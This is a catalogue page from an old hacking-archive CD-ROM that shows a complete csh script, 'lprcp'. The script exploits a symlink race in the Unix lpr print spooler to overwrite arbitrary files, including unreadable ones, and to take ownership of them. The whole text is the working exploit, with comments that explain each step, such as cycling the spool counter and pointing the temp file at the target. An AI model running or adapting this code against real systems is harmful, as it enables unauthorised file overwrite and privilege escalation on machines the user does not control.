home *** CD-ROM | disk | FTP | other *** search
/ The Hacker's Encyclopedia 1998 / hackers_encyclopedia.iso / hacking / unix / lpr_sh.txt < prev    next >
Encoding:
Text File  |  2003-06-11  |  700 b   |  28 lines

  1. #!/bin/csh -f
  2. #
  3. # Usage: lprcp from-file to-file
  4. #
  5.  
  6. if ($#argv != 2) then
  7. #        echo Usage: lprcp from-file to-file
  8.         exit 1
  9. endif
  10.  
  11. # This link stuff allows us to overwrite unreadable files,
  12. # should we want to.
  13. echo x > /tmp/.tmp.$$
  14. lpr -q -s /tmp/.tmp.$$
  15. rm -f /tmp/.tmp.$$              # lpr's accepted it, point it
  16. ln -s $2 /tmp/.tmp.$$           # to where we really want
  17.  
  18. @ s = 0
  19. while ( $s != 999)              # loop 999 times
  20.         lpr /nofile >&/dev/null # doesn't exist, but spins the clock!
  21.         @ s++
  22.         if ( $s % 10 == 0 ) echo -n .
  23. end
  24. lpr $1                          # incoming file
  25.                                 # user becomes owner
  26. rm -f /tmp/.tmp.$$
  27. exit 0
  28.